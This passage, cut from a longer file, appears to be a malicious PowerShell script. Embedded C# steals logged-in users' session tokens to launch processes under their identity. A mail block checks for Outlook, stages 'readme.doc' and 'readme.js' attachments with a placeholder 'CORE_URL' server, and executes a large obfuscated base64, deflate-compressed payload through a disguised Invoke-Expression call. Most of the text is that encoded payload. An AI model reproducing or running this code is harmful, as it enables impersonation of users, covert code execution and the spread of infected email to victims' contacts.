pSessionInfo, ref sessionCount) != 0)            {                Int64 current = pSessionInfo.ToInt64();                for (int i = 0; i < sessionCount; i++)                {                    WTS_SESSION_INFO si = (WTS_SESSION_INFO)Marshal.PtrToStructure((IntPtr)(current), typeof(WTS_SESSION_INFO));                    current += arrayElementSize;                    Console.WriteLine("Get Session ID:"+si.SessionID);                    if (WTSQueryUserToken(si.SessionID, ref hImpersonationToken))                    {                        Console.WriteLine("Get Session Token Success");                        if (DuplicateTokenEx(hImpersonationToken, 0, IntPtr.Zero, 2, 1, ref phUserToken))                        {                            Console.WriteLine("Duplicate Token Success");                            StartProcessWithToken(ref phUserToken,cmd);                        }                    }                }            }        }    }}"@Add-Type -TypeDefinition $msource$mail_code=@'if((get-childitem C:\Users\$env:username\AppData\Local\Microsoft\Outlook).count -gt 1){$base_url="CORE_URL"$att_doc=$env:tmp+"\readme.doc"$att_js=$env:tmp+"\readme.js"IE`x $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('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